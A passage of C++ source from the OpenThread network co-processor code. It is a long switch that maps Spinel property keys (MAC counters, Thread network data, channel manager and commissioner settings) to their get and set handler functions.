case SPINEL_PROP_MAC_BLACKLIST:
handler = &NcpBase::HandlePropertyGet<SPINEL_PROP_MAC_BLACKLIST>;
break;
case SPINEL_PROP_MAC_BLACKLIST_ENABLED:
handler = &NcpBase::HandlePropertyGet<SPINEL_PROP_MAC_BLACKLIST_ENABLED>;
break;
case SPINEL_PROP_MAC_FIXED_RSS:
handler = &NcpBase::HandlePropertyGet<SPINEL_PROP_MAC_FIXED_RSS>;
break;
case SPINEL_PROP_MAC_WHITELIST:
handler = &NcpBase::HandlePropertyGet<SPINEL_PROP_MAC_WHITELIST>;
break;
case SPINEL_PROP_MAC_WHITELIST_ENABLED:
handler = &NcpBase::HandlePropertyGet<SPINEL_PROP_MAC_WHITELIST_ENABLED>;
break;
#endif
case SPINEL_PROP_MSG_BUFFER_COUNTERS:
handler = &NcpBase::HandlePropertyGet<SPINEL_PROP_MSG_BUFFER_COUNTERS>;
break;
case SPINEL_PROP_PHY_CHAN_SUPPORTED:
handler = &NcpBase::HandlePropertyGet<SPINEL_PROP_PHY_CHAN_SUPPORTED>;
break;
case SPINEL_PROP_PHY_FREQ:
handler = &NcpBase::HandlePropertyGet<SPINEL_PROP_PHY_FREQ>;
break;
case SPINEL_PROP_NET_IF_UP:
handler = &NcpBase::HandlePropertyGet<SPINEL_PROP_NET_IF_UP>;
break;
case SPINEL_PROP_NET_KEY_SEQUENCE_COUNTER:
handler = &NcpBase::HandlePropertyGet<SPINEL_PROP_NET_KEY_SEQUENCE_COUNTER>;
break;
case SPINEL_PROP_NET_KEY_SWITCH_GUARDTIME:
handler = &NcpBase::HandlePropertyGet<SPINEL_PROP_NET_KEY_SWITCH_GUARDTIME>;
break;
case SPINEL_PROP_NET_MASTER_KEY:
handler = &NcpBase::HandlePropertyGet<SPINEL_PROP_NET_MASTER_KEY>;
break;
case SPINEL_PROP_NET_NETWORK_NAME:
handler = &NcpBase::HandlePropertyGet<SPINEL_PROP_NET_NETWORK_NAME>;
break;
case SPINEL_PROP_NET_PARTITION_ID:
handler = &NcpBase::HandlePropertyGet<SPINEL_PROP_NET_PARTITION_ID>;
break;
case SPINEL_PROP_NET_REQUIRE_JOIN_EXISTING:
handler = &NcpBase::HandlePropertyGet<SPINEL_PROP_NET_REQUIRE_JOIN_EXISTING>;
break;
case SPINEL_PROP_NET_ROLE:
handler = &NcpBase::HandlePropertyGet<SPINEL_PROP_NET_ROLE>;
break;
case SPINEL_PROP_NET_SAVED:
handler = &NcpBase::HandlePropertyGet<SPINEL_PROP_NET_SAVED>;
break;
case SPINEL_PROP_NET_STACK_UP:
handler = &NcpBase::HandlePropertyGet<SPINEL_PROP_NET_STACK_UP>;
break;
case SPINEL_PROP_NET_XPANID:
handler = &NcpBase::HandlePropertyGet<SPINEL_PROP_NET_XPANID>;
break;
case SPINEL_PROP_THREAD_ALLOW_LOCAL_NET_DATA_CHANGE:
handler = &NcpBase::HandlePropertyGet<SPINEL_PROP_THREAD_ALLOW_LOCAL_NET_DATA_CHANGE>;
break;
case SPINEL_PROP_THREAD_ASSISTING_PORTS:
handler = &NcpBase::HandlePropertyGet<SPINEL_PROP_THREAD_ASSISTING_PORTS>;
break;
case SPINEL_PROP_THREAD_CHILD_TIMEOUT:
handler = &NcpBase::HandlePropertyGet<SPINEL_PROP_THREAD_CHILD_TIMEOUT>;
break;
case SPINEL_PROP_THREAD_DISCOVERY_SCAN_JOINER_FLAG:
handler = &NcpBase::HandlePropertyGet<SPINEL_PROP_THREAD_DISCOVERY_SCAN_JOINER_FLAG>;
break;
case SPINEL_PROP_THREAD_DISCOVERY_SCAN_ENABLE_FILTERING:
handler = &NcpBase::HandlePropertyGet<SPINEL_PROP_THREAD_DISCOVERY_SCAN_ENABLE_FILTERING>;
break;
case SPINEL_PROP_THREAD_DISCOVERY_SCAN_PANID:
handler = &NcpBase::HandlePropertyGet<SPINEL_PROP_THREAD_DISCOVERY_SCAN_PANID>;
break;
case SPINEL_PROP_THREAD_LEADER_ADDR:
handler = &NcpBase::HandlePropertyGet<SPINEL_PROP_THREAD_LEADER_ADDR>;
break;
case SPINEL_PROP_THREAD_LEADER_NETWORK_DATA:
handler = &NcpBase::HandlePropertyGet<SPINEL_PROP_THREAD_LEADER_NETWORK_DATA>;
break;
case SPINEL_PROP_THREAD_LEADER_RID:
handler = &NcpBase::HandlePropertyGet<SPINEL_PROP_THREAD_LEADER_RID>;
break;
case SPINEL_PROP_THREAD_MODE:
handler = &NcpBase::HandlePropertyGet<SPINEL_PROP_THREAD_MODE>;
break;
case SPINEL_PROP_THREAD_NEIGHBOR_TABLE:
handler = &NcpBase::HandlePropertyGet<SPINEL_PROP_THREAD_NEIGHBOR_TABLE>;
break;
#if OPENTHREAD_CONFIG_ENABLE_TX_ERROR_RATE_TRACKING
case SPINEL_PROP_THREAD_NEIGHBOR_TABLE_ERROR_RATES:
handler = &NcpBase::HandlePropertyGet<SPINEL_PROP_THREAD_NEIGHBOR_TABLE_ERROR_RATES>;
break;
#endif
case SPINEL_PROP_THREAD_NETWORK_DATA_VERSION:
handler = &NcpBase::HandlePropertyGet<SPINEL_PROP_THREAD_NETWORK_DATA_VERSION>;
break;
case SPINEL_PROP_THREAD_OFF_MESH_ROUTES:
handler = &NcpBase::HandlePropertyGet<SPINEL_PROP_THREAD_OFF_MESH_ROUTES>;
break;
case SPINEL_PROP_THREAD_ON_MESH_NETS:
handler = &NcpBase::HandlePropertyGet<SPINEL_PROP_THREAD_ON_MESH_NETS>;
break;
case SPINEL_PROP_THREAD_PARENT:
handler = &NcpBase::HandlePropertyGet<SPINEL_PROP_THREAD_PARENT>;
break;
case SPINEL_PROP_THREAD_RLOC16:
handler = &NcpBase::HandlePropertyGet<SPINEL_PROP_THREAD_RLOC16>;
break;
case SPINEL_PROP_THREAD_RLOC16_DEBUG_PASSTHRU:
handler = &NcpBase::HandlePropertyGet<SPINEL_PROP_THREAD_RLOC16_DEBUG_PASSTHRU>;
break;
case SPINEL_PROP_THREAD_STABLE_LEADER_NETWORK_DATA:
handler = &NcpBase::HandlePropertyGet<SPINEL_PROP_THREAD_STABLE_LEADER_NETWORK_DATA>;
break;
case SPINEL_PROP_THREAD_STABLE_NETWORK_DATA_VERSION:
handler = &NcpBase::HandlePropertyGet<SPINEL_PROP_THREAD_STABLE_NETWORK_DATA_VERSION>;
break;
#if OPENTHREAD_ENABLE_BORDER_ROUTER
case SPINEL_PROP_THREAD_NETWORK_DATA:
handler = &NcpBase::HandlePropertyGet<SPINEL_PROP_THREAD_NETWORK_DATA>;
break;
case SPINEL_PROP_THREAD_STABLE_NETWORK_DATA:
handler = &NcpBase::HandlePropertyGet<SPINEL_PROP_THREAD_STABLE_NETWORK_DATA>;
break;
#endif
case SPINEL_PROP_THREAD_ACTIVE_DATASET:
handler = &NcpBase::HandlePropertyGet<SPINEL_PROP_THREAD_ACTIVE_DATASET>;
break;
case SPINEL_PROP_THREAD_PENDING_DATASET:
handler = &NcpBase::HandlePropertyGet<SPINEL_PROP_THREAD_PENDING_DATASET>;
break;
case SPINEL_PROP_IPV6_ADDRESS_TABLE:
handler = &NcpBase::HandlePropertyGet<SPINEL_PROP_IPV6_ADDRESS_TABLE>;
break;
case SPINEL_PROP_IPV6_ICMP_PING_OFFLOAD:
handler = &NcpBase::HandlePropertyGet<SPINEL_PROP_IPV6_ICMP_PING_OFFLOAD>;
break;
case SPINEL_PROP_IPV6_ICMP_PING_OFFLOAD_MODE:
handler = &NcpBase::HandlePropertyGet<SPINEL_PROP_IPV6_ICMP_PING_OFFLOAD_MODE>;
break;
case SPINEL_PROP_IPV6_LL_ADDR:
handler = &NcpBase::HandlePropertyGet<SPINEL_PROP_IPV6_LL_ADDR>;
break;
case SPINEL_PROP_IPV6_ML_PREFIX:
handler = &NcpBase::HandlePropertyGet<SPINEL_PROP_IPV6_ML_PREFIX>;
break;
case SPINEL_PROP_IPV6_ML_ADDR:
handler = &NcpBase::HandlePropertyGet<SPINEL_PROP_IPV6_ML_ADDR>;
break;
case SPINEL_PROP_IPV6_MULTICAST_ADDRESS_TABLE:
handler = &NcpBase::HandlePropertyGet<SPINEL_PROP_IPV6_MULTICAST_ADDRESS_TABLE>;
break;
case SPINEL_PROP_IPV6_ROUTE_TABLE:
handler = &NcpBase::HandlePropertyGet<SPINEL_PROP_IPV6_ROUTE_TABLE>;
break;
#if OPENTHREAD_ENABLE_JAM_DETECTION
case SPINEL_PROP_JAM_DETECT_ENABLE:
handler = &NcpBase::HandlePropertyGet<SPINEL_PROP_JAM_DETECT_ENABLE>;
break;
case SPINEL_PROP_JAM_DETECTED:
handler = &NcpBase::HandlePropertyGet<SPINEL_PROP_JAM_DETECTED>;
break;
case SPINEL_PROP_JAM_DETECT_RSSI_THRESHOLD:
handler = &NcpBase::HandlePropertyGet<SPINEL_PROP_JAM_DETECT_RSSI_THRESHOLD>;
break;
case SPINEL_PROP_JAM_DETECT_WINDOW:
handler = &NcpBase::HandlePropertyGet<SPINEL_PROP_JAM_DETECT_WINDOW>;
break;
case SPINEL_PROP_JAM_DETECT_BUSY:
handler = &NcpBase::HandlePropertyGet<SPINEL_PROP_JAM_DETECT_BUSY>;
break;
case SPINEL_PROP_JAM_DETECT_HISTORY_BITMAP:
handler = &NcpBase::HandlePropertyGet<SPINEL_PROP_JAM_DETECT_HISTORY_BITMAP>;
break;
#endif
#if OPENTHREAD_ENABLE_CHANNEL_MONITOR
case SPINEL_PROP_CHANNEL_MONITOR_SAMPLE_INTERVAL:
handler = &NcpBase::HandlePropertyGet<SPINEL_PROP_CHANNEL_MONITOR_SAMPLE_INTERVAL>;
break;
case SPINEL_PROP_CHANNEL_MONITOR_RSSI_THRESHOLD:
handler = &NcpBase::HandlePropertyGet<SPINEL_PROP_CHANNEL_MONITOR_RSSI_THRESHOLD>;
break;
case SPINEL_PROP_CHANNEL_MONITOR_SAMPLE_WINDOW:
handler = &NcpBase::HandlePropertyGet<SPINEL_PROP_CHANNEL_MONITOR_SAMPLE_WINDOW>;
break;
case SPINEL_PROP_CHANNEL_MONITOR_SAMPLE_COUNT:
handler = &NcpBase::HandlePropertyGet<SPINEL_PROP_CHANNEL_MONITOR_SAMPLE_COUNT>;
break;
case SPINEL_PROP_CHANNEL_MONITOR_CHANNEL_OCCUPANCY:
handler = &NcpBase::HandlePropertyGet<SPINEL_PROP_CHANNEL_MONITOR_CHANNEL_OCCUPANCY>;
break;
#endif
#if OPENTHREAD_ENABLE_LEGACY
case SPINEL_PROP_NEST_LEGACY_ULA_PREFIX:
handler = &NcpBase::HandlePropertyGet<SPINEL_PROP_NEST_LEGACY_ULA_PREFIX>;
break;
case SPINEL_PROP_NEST_LEGACY_LAST_NODE_JOINED:
handler = &NcpBase::HandlePropertyGet<SPINEL_PROP_NEST_LEGACY_LAST_NODE_JOINED>;
break;
#endif
// MAC counters
case SPINEL_PROP_CNTR_TX_PKT_TOTAL:
handler = &NcpBase::HandlePropertyGet<SPINEL_PROP_CNTR_TX_PKT_TOTAL>;
break;
case SPINEL_PROP_CNTR_TX_PKT_ACK_REQ:
handler = &NcpBase::HandlePropertyGet<SPINEL_PROP_CNTR_TX_PKT_ACK_REQ>;
break;
case SPINEL_PROP_CNTR_TX_PKT_ACKED:
handler = &NcpBase::HandlePropertyGet<SPINEL_PROP_CNTR_TX_PKT_ACKED>;
break;
case SPINEL_PROP_CNTR_TX_PKT_NO_ACK_REQ:
handler = &NcpBase::HandlePropertyGet<SPINEL_PROP_CNTR_TX_PKT_NO_ACK_REQ>;
break;
case SPINEL_PROP_CNTR_TX_PKT_DATA:
handler = &NcpBase::HandlePropertyGet<SPINEL_PROP_CNTR_TX_PKT_DATA>;
break;
case SPINEL_PROP_CNTR_TX_PKT_DATA_POLL:
handler = &NcpBase::HandlePropertyGet<SPINEL_PROP_CNTR_TX_PKT_DATA_POLL>;
break;
case SPINEL_PROP_CNTR_TX_PKT_BEACON:
handler = &NcpBase::HandlePropertyGet<SPINEL_PROP_CNTR_TX_PKT_BEACON>;
break;
case SPINEL_PROP_CNTR_TX_PKT_BEACON_REQ:
handler = &NcpBase::HandlePropertyGet<SPINEL_PROP_CNTR_TX_PKT_BEACON_REQ>;
break;
case SPINEL_PROP_CNTR_TX_PKT_OTHER:
handler = &NcpBase::HandlePropertyGet<SPINEL_PROP_CNTR_TX_PKT_OTHER>;
break;
case SPINEL_PROP_CNTR_TX_PKT_RETRY:
handler = &NcpBase::HandlePropertyGet<SPINEL_PROP_CNTR_TX_PKT_RETRY>;
break;
case SPINEL_PROP_CNTR_TX_PKT_UNICAST:
handler = &NcpBase::HandlePropertyGet<SPINEL_PROP_CNTR_TX_PKT_UNICAST>;
break;
case SPINEL_PROP_CNTR_TX_PKT_BROADCAST:
handler = &NcpBase::HandlePropertyGet<SPINEL_PROP_CNTR_TX_PKT_BROADCAST>;
break;
case SPINEL_PROP_CNTR_TX_ERR_CCA:
handler = &NcpBase::HandlePropertyGet<SPINEL_PROP_CNTR_TX_ERR_CCA>;
break;
case SPINEL_PROP_CNTR_TX_ERR_ABORT:
handler = &NcpBase::HandlePropertyGet<SPINEL_PROP_CNTR_TX_ERR_ABORT>;
break;
case SPINEL_PROP_CNTR_RX_PKT_TOTAL:
handler = &NcpBase::HandlePropertyGet<SPINEL_PROP_CNTR_RX_PKT_TOTAL>;
break;
case SPINEL_PROP_CNTR_RX_PKT_DATA:
handler = &NcpBase::HandlePropertyGet<SPINEL_PROP_CNTR_RX_PKT_DATA>;
break;
case SPINEL_PROP_CNTR_RX_PKT_DATA_POLL:
handler = &NcpBase::HandlePropertyGet<SPINEL_PROP_CNTR_RX_PKT_DATA_POLL>;
break;
case SPINEL_PROP_CNTR_RX_PKT_BEACON:
handler = &NcpBase::HandlePropertyGet<SPINEL_PROP_CNTR_RX_PKT_BEACON>;
break;
case SPINEL_PROP_CNTR_RX_PKT_BEACON_REQ:
handler = &NcpBase::HandlePropertyGet<SPINEL_PROP_CNTR_RX_PKT_BEACON_REQ>;
break;
case SPINEL_PROP_CNTR_RX_PKT_OTHER:
handler = &NcpBase::HandlePropertyGet<SPINEL_PROP_CNTR_RX_PKT_OTHER>;
break;
case SPINEL_PROP_CNTR_RX_PKT_FILT_WL:
handler = &NcpBase::HandlePropertyGet<SPINEL_PROP_CNTR_RX_PKT_FILT_WL>;
break;
case SPINEL_PROP_CNTR_RX_PKT_FILT_DA:
handler = &NcpBase::HandlePropertyGet<SPINEL_PROP_CNTR_RX_PKT_FILT_DA>;
break;
case SPINEL_PROP_CNTR_RX_PKT_UNICAST:
handler = &NcpBase::HandlePropertyGet<SPINEL_PROP_CNTR_RX_PKT_UNICAST>;
break;
case SPINEL_PROP_CNTR_RX_PKT_BROADCAST:
handler = &NcpBase::HandlePropertyGet<SPINEL_PROP_CNTR_RX_PKT_BROADCAST>;
break;
case SPINEL_PROP_CNTR_RX_ERR_EMPTY:
handler = &NcpBase::HandlePropertyGet<SPINEL_PROP_CNTR_RX_ERR_EMPTY>;
break;
case SPINEL_PROP_CNTR_RX_ERR_UKWN_NBR:
handler = &NcpBase::HandlePropertyGet<SPINEL_PROP_CNTR_RX_ERR_UKWN_NBR>;
break;
case SPINEL_PROP_CNTR_RX_ERR_NVLD_SADDR:
handler = &NcpBase::HandlePropertyGet<SPINEL_PROP_CNTR_RX_ERR_NVLD_SADDR>;
break;
case SPINEL_PROP_CNTR_RX_ERR_SECURITY:
handler = &NcpBase::HandlePropertyGet<SPINEL_PROP_CNTR_RX_ERR_SECURITY>;
break;
case SPINEL_PROP_CNTR_RX_ERR_BAD_FCS:
handler = &NcpBase::HandlePropertyGet<SPINEL_PROP_CNTR_RX_ERR_BAD_FCS>;
break;
case SPINEL_PROP_CNTR_RX_ERR_OTHER:
handler = &NcpBase::HandlePropertyGet<SPINEL_PROP_CNTR_RX_ERR_OTHER>;
break;
case SPINEL_PROP_CNTR_RX_PKT_DUP:
handler = &NcpBase::HandlePropertyGet<SPINEL_PROP_CNTR_RX_PKT_DUP>;
break;
case SPINEL_PROP_CNTR_ALL_MAC_COUNTERS:
handler = &NcpBase::HandlePropertyGet<SPINEL_PROP_CNTR_ALL_MAC_COUNTERS>;
break;
// NCP counters
case SPINEL_PROP_CNTR_TX_IP_SEC_TOTAL:
handler = &NcpBase::HandlePropertyGet<SPINEL_PROP_CNTR_TX_IP_SEC_TOTAL>;
break;
case SPINEL_PROP_CNTR_TX_IP_INSEC_TOTAL:
handler = &NcpBase::HandlePropertyGet<SPINEL_PROP_CNTR_TX_IP_INSEC_TOTAL>;
break;
case SPINEL_PROP_CNTR_TX_IP_DROPPED:
handler = &NcpBase::HandlePropertyGet<SPINEL_PROP_CNTR_TX_IP_DROPPED>;
break;
case SPINEL_PROP_CNTR_RX_IP_SEC_TOTAL:
handler = &NcpBase::HandlePropertyGet<SPINEL_PROP_CNTR_RX_IP_SEC_TOTAL>;
break;
case SPINEL_PROP_CNTR_RX_IP_INSEC_TOTAL:
handler = &NcpBase::HandlePropertyGet<SPINEL_PROP_CNTR_RX_IP_INSEC_TOTAL>;
break;
case SPINEL_PROP_CNTR_RX_IP_DROPPED:
handler = &NcpBase::HandlePropertyGet<SPINEL_PROP_CNTR_RX_IP_DROPPED>;
break;
case SPINEL_PROP_CNTR_TX_SPINEL_TOTAL:
handler = &NcpBase::HandlePropertyGet<SPINEL_PROP_CNTR_TX_SPINEL_TOTAL>;
break;
case SPINEL_PROP_CNTR_RX_SPINEL_TOTAL:
handler = &NcpBase::HandlePropertyGet<SPINEL_PROP_CNTR_RX_SPINEL_TOTAL>;
break;
case SPINEL_PROP_CNTR_RX_SPINEL_ERR:
handler = &NcpBase::HandlePropertyGet<SPINEL_PROP_CNTR_RX_SPINEL_ERR>;
break;
// IP counters
case SPINEL_PROP_CNTR_IP_TX_SUCCESS:
handler = &NcpBase::HandlePropertyGet<SPINEL_PROP_CNTR_IP_TX_SUCCESS>;
break;
case SPINEL_PROP_CNTR_IP_RX_SUCCESS:
handler = &NcpBase::HandlePropertyGet<SPINEL_PROP_CNTR_IP_RX_SUCCESS>;
break;
case SPINEL_PROP_CNTR_IP_TX_FAILURE:
handler = &NcpBase::HandlePropertyGet<SPINEL_PROP_CNTR_IP_TX_FAILURE>;
break;
case SPINEL_PROP_CNTR_IP_RX_FAILURE:
handler = &NcpBase::HandlePropertyGet<SPINEL_PROP_CNTR_IP_RX_FAILURE>;
break;
#if OPENTHREAD_CONFIG_ENABLE_TIME_SYNC
case SPINEL_PROP_THREAD_NETWORK_TIME:
handler = &NcpBase::HandlePropertyGet<SPINEL_PROP_THREAD_NETWORK_TIME>;
break;
#endif
#if OPENTHREAD_ENABLE_CHILD_SUPERVISION
case SPINEL_PROP_CHILD_SUPERVISION_CHECK_TIMEOUT:
handler = &NcpBase::HandlePropertyGet<SPINEL_PROP_CHILD_SUPERVISION_CHECK_TIMEOUT>;
break;
#endif
#if OPENTHREAD_ENABLE_POSIX_APP
case SPINEL_PROP_RCP_VERSION:
handler = &NcpBase::HandlePropertyGet<SPINEL_PROP_RCP_VERSION>;
break;
#endif
#endif // OPENTHREAD_MTD || OPENTHREAD_FTD
// --------------------------------------------------------------------------
// FTD Only Properties (Get Handler)
#if OPENTHREAD_FTD
case SPINEL_PROP_NET_PSKC:
handler = &NcpBase::HandlePropertyGet<SPINEL_PROP_NET_PSKC>;
break;
case SPINEL_PROP_THREAD_LEADER_WEIGHT:
handler = &NcpBase::HandlePropertyGet<SPINEL_PROP_THREAD_LEADER_WEIGHT>;
break;
case SPINEL_PROP_THREAD_CHILD_TABLE:
handler = &NcpBase::HandlePropertyGet<SPINEL_PROP_THREAD_CHILD_TABLE>;
break;
case SPINEL_PROP_THREAD_CHILD_TABLE_ADDRESSES:
handler = &NcpBase::HandlePropertyGet<SPINEL_PROP_THREAD_CHILD_TABLE_ADDRESSES>;
break;
case SPINEL_PROP_THREAD_ROUTER_TABLE:
handler = &NcpBase::HandlePropertyGet<SPINEL_PROP_THREAD_ROUTER_TABLE>;
break;
case SPINEL_PROP_THREAD_LOCAL_LEADER_WEIGHT:
handler = &NcpBase::HandlePropertyGet<SPINEL_PROP_THREAD_LOCAL_LEADER_WEIGHT>;
break;
case SPINEL_PROP_THREAD_ROUTER_ROLE_ENABLED:
handler = &NcpBase::HandlePropertyGet<SPINEL_PROP_THREAD_ROUTER_ROLE_ENABLED>;
break;
case SPINEL_PROP_THREAD_CHILD_COUNT_MAX:
handler = &NcpBase::HandlePropertyGet<SPINEL_PROP_THREAD_CHILD_COUNT_MAX>;
break;
case SPINEL_PROP_THREAD_ROUTER_UPGRADE_THRESHOLD:
handler = &NcpBase::HandlePropertyGet<SPINEL_PROP_THREAD_ROUTER_UPGRADE_THRESHOLD>;
break;
case SPINEL_PROP_THREAD_ROUTER_DOWNGRADE_THRESHOLD:
handler = &NcpBase::HandlePropertyGet<SPINEL_PROP_THREAD_ROUTER_DOWNGRADE_THRESHOLD>;
break;
case SPINEL_PROP_THREAD_CONTEXT_REUSE_DELAY:
handler = &NcpBase::HandlePropertyGet<SPINEL_PROP_THREAD_CONTEXT_REUSE_DELAY>;
break;
case SPINEL_PROP_THREAD_NETWORK_ID_TIMEOUT:
handler = &NcpBase::HandlePropertyGet<SPINEL_PROP_THREAD_NETWORK_ID_TIMEOUT>;
break;
case SPINEL_PROP_THREAD_ROUTER_SELECTION_JITTER:
handler = &NcpBase::HandlePropertyGet<SPINEL_PROP_THREAD_ROUTER_SELECTION_JITTER>;
break;
case SPINEL_PROP_THREAD_PREFERRED_ROUTER_ID:
handler = &NcpBase::HandlePropertyGet<SPINEL_PROP_THREAD_PREFERRED_ROUTER_ID>;
break;
case SPINEL_PROP_THREAD_ADDRESS_CACHE_TABLE:
handler = &NcpBase::HandlePropertyGet<SPINEL_PROP_THREAD_ADDRESS_CACHE_TABLE>;
break;
#if OPENTHREAD_ENABLE_JOINER
case SPINEL_PROP_MESHCOP_JOINER_STATE:
handler = &NcpBase::HandlePropertyGet<SPINEL_PROP_MESHCOP_JOINER_STATE>;
break;
#endif
#if OPENTHREAD_ENABLE_COMMISSIONER
case SPINEL_PROP_MESHCOP_COMMISSIONER_STATE:
handler = &NcpBase::HandlePropertyGet<SPINEL_PROP_MESHCOP_COMMISSIONER_STATE>;
break;
case SPINEL_PROP_MESHCOP_COMMISSIONER_PROVISIONING_URL:
handler = &NcpBase::HandlePropertyGet<SPINEL_PROP_MESHCOP_COMMISSIONER_PROVISIONING_URL>;
break;
case SPINEL_PROP_MESHCOP_COMMISSIONER_SESSION_ID:
handler = &NcpBase::HandlePropertyGet<SPINEL_PROP_MESHCOP_COMMISSIONER_SESSION_ID>;
break;
case SPINEL_PROP_THREAD_COMMISSIONER_ENABLED:
handler = &NcpBase::HandlePropertyGet<SPINEL_PROP_THREAD_COMMISSIONER_ENABLED>;
break;
#endif
#if OPENTHREAD_CONFIG_ENABLE_STEERING_DATA_SET_OOB
case SPINEL_PROP_THREAD_STEERING_DATA:
handler = &NcpBase::HandlePropertyGet<SPINEL_PROP_THREAD_STEERING_DATA>;
break;
#endif
#if OPENTHREAD_ENABLE_CHILD_SUPERVISION
case SPINEL_PROP_CHILD_SUPERVISION_INTERVAL:
handler = &NcpBase::HandlePropertyGet<SPINEL_PROP_CHILD_SUPERVISION_INTERVAL>;
break;
#endif
#if OPENTHREAD_ENABLE_CHANNEL_MANAGER
case SPINEL_PROP_CHANNEL_MANAGER_NEW_CHANNEL:
handler = &NcpBase::HandlePropertyGet<SPINEL_PROP_CHANNEL_MANAGER_NEW_CHANNEL>;
break;
case SPINEL_PROP_CHANNEL_MANAGER_DELAY:
handler = &NcpBase::HandlePropertyGet<SPINEL_PROP_CHANNEL_MANAGER_DELAY>;
break;
case SPINEL_PROP_CHANNEL_MANAGER_SUPPORTED_CHANNELS:
handler = &NcpBase::HandlePropertyGet<SPINEL_PROP_CHANNEL_MANAGER_SUPPORTED_CHANNELS>;
break;
case SPINEL_PROP_CHANNEL_MANAGER_FAVORED_CHANNELS:
handler = &NcpBase::HandlePropertyGet<SPINEL_PROP_CHANNEL_MANAGER_FAVORED_CHANNELS>;
break;
case SPINEL_PROP_CHANNEL_MANAGER_CHANNEL_SELECT:
handler = &NcpBase::HandlePropertyGet<SPINEL_PROP_CHANNEL_MANAGER_CHANNEL_SELECT>;
break;
case SPINEL_PROP_CHANNEL_MANAGER_AUTO_SELECT_ENABLED:
handler = &NcpBase::HandlePropertyGet<SPINEL_PROP_CHANNEL_MANAGER_AUTO_SELECT_ENABLED>;
break;
case SPINEL_PROP_CHANNEL_MANAGER_AUTO_SELECT_INTERVAL:
handler = &NcpBase::HandlePropertyGet<SPINEL_PROP_CHANNEL_MANAGER_AUTO_SELECT_INTERVAL>;
break;
#endif
#if OPENTHREAD_CONFIG_ENABLE_TIME_SYNC
case SPINEL_PROP_TIME_SYNC_PERIOD:
handler = &NcpBase::HandlePropertyGet<SPINEL_PROP_TIME_SYNC_PERIOD>;
break;
case SPINEL_PROP_TIME_SYNC_XTAL_THRESHOLD:
handler = &NcpBase::HandlePropertyGet<SPINEL_PROP_TIME_SYNC_XTAL_THRESHOLD>;
break;
#endif // OPENTHREAD_CONFIG_ENABLE_TIME_SYNC
#endif // OPENTHREAD_FTD
// --------------------------------------------------------------------------
// Raw Link or Radio Mode Properties (Get Handler)
#if OPENTHREAD_RADIO || OPENTHREAD_ENABLE_RAW_LINK_API
case SPINEL_PROP_RADIO_CAPS:
handler = &NcpBase::HandlePropertyGet<SPINEL_PROP_RADIO_CAPS>;
break;
case SPINEL_PROP_MAC_SRC_MATCH_ENABLED:
handler = &NcpBase::HandlePropertyGet<SPINEL_PROP_MAC_SRC_MATCH_ENABLED>;
break;
#endif
default:
handler = NULL;
}
return handler;
}
NcpBase::PropertyHandler NcpBase::FindSetPropertyHandler(spinel_prop_key_t aKey)
{
NcpBase::PropertyHandler handler;
switch (aKey)
{
// --------------------------------------------------------------------------
// Common Properties (Set Handler)
case SPINEL_PROP_POWER_STATE:
handler = &NcpBase::HandlePropertySet<SPINEL_PROP_POWER_STATE>;
break;
case SPINEL_PROP_MCU_POWER_STATE:
handler = &NcpBase::HandlePropertySet<SPINEL_PROP_MCU_POWER_STATE>;
break;
case SPINEL_PROP_UNSOL_UPDATE_FILTER:
handler = &NcpBase::HandlePropertySet<SPINEL_PROP_UNSOL_UPDATE_FILTER>;
break;
case SPINEL_PROP_PHY_TX_POWER:
handler = &NcpBase::HandlePropertySet<SPINEL_PROP_PHY_TX_POWER>;
break;
case SPINEL_PROP_PHY_CHAN:
handler = &NcpBase::HandlePropertySet<SPINEL_PROP_PHY_CHAN>;
break;
case SPINEL_PROP_MAC_PROMISCUOUS_MODE:
handler = &NcpBase::HandlePropertySet<SPINEL_PROP_MAC_PROMISCUOUS_MODE>;
break;
case SPINEL_PROP_MAC_15_4_PANID:
handler = &NcpBase::HandlePropertySet<SPINEL_PROP_MAC_15_4_PANID>;
break;
case SPINEL_PROP_MAC_15_4_LADDR:
handler = &NcpBase::HandlePropertySet<SPINEL_PROP_MAC_15_4_LADDR>;
break;
case SPINEL_PROP_MAC_RAW_STREAM_ENABLED:
handler = &NcpBase::HandlePropertySet<SPINEL_PROP_MAC_RAW_STREAM_ENABLED>;
break;
case SPINEL_PROP_MAC_SCAN_MASK:
handler = &NcpBase::HandlePropertySet<SPINEL_PROP_MAC_SCAN_MASK>;
break;
case SPINEL_PROP_MAC_SCAN_STATE:
handler = &NcpBase::HandlePropertySet<SPINEL_PROP_MAC_SCAN_STATE>;
break;
case SPINEL_PROP_MAC_SCAN_PERIOD:
handler = &NcpBase::HandlePropertySet<SPINEL_PROP_MAC_SCAN_PERIOD>;
break;
// --------------------------------------------------------------------------
// MTD (or FTD) Properties (Set Handler)
#if OPENTHREAD_MTD || OPENTHREAD_FTD
case SPINEL_PROP_PHY_CHAN_SUPPORTED:
handler = &NcpBase::HandlePropertySet<SPINEL_PROP_PHY_CHAN_SUPPORTED>;
break;
case SPINEL_PROP_MAC_DATA_POLL_PERIOD:
handler = &NcpBase::HandlePropertySet<SPINEL_PROP_MAC_DATA_POLL_PERIOD>;
break;
case SPINEL_PROP_NET_IF_UP:
handler = &NcpBase::HandlePropertySet<SPINEL_PROP_NET_IF_UP>;
break;
case SPINEL_PROP_NET_STACK_UP:
handler = &NcpBase::HandlePropertySet<SPINEL_PROP_NET_STACK_UP>;
break;
case SPINEL_PROP_NET_ROLE:
handler = &NcpBase::HandlePropertySet<SPINEL_PROP_NET_ROLE>;
break;
case SPINEL_PROP_NET_NETWORK_NAME:
handler = &NcpBase::HandlePropertySet<SPINEL_PROP_NET_NETWORK_NAME>;
break;
case SPINEL_PROP_NET_XPANID:
handler = &NcpBase::HandlePropertySet<SPINEL_PROP_NET_XPANID>;
break;
case SPINEL_PROP_NET_MASTER_KEY:
handler = &NcpBase::HandlePropertySet<SPINEL_PROP_NET_MASTER_KEY>;
break;
case SPINEL_PROP_NET_KEY_SEQUENCE_COUNTER:
handler = &NcpBase::HandlePropertySet<SPINEL_PROP_NET_KEY_SEQUENCE_COUNTER>;
break;
case SPINEL_PROP_NET_KEY_SWITCH_GUARDTIME:
handler = &NcpBase::HandlePropertySet<SPINEL_PROP_NET_KEY_SWITCH_GUARDTIME>;
break;
case SPINEL_PROP_THREAD_ASSISTING_PORTS:
handler = &NcpBase::HandlePropertySet<SPINEL_PROP_THREAD_ASSISTING_PORTS>;
break;
case SPINEL_PROP_STREAM_NET_INSECURE:
handler = &NcpBase::HandlePropertySet<SPINEL_PROP_STREAM_NET_INSECURE>;
break;
case SPINEL_PROP_STREAM_NET:
handler = &NcpBase::HandlePropertySet<SPINEL_PROP_STREAM_NET>;
break;
case SPINEL_PROP_IPV6_ML_PREFIX:
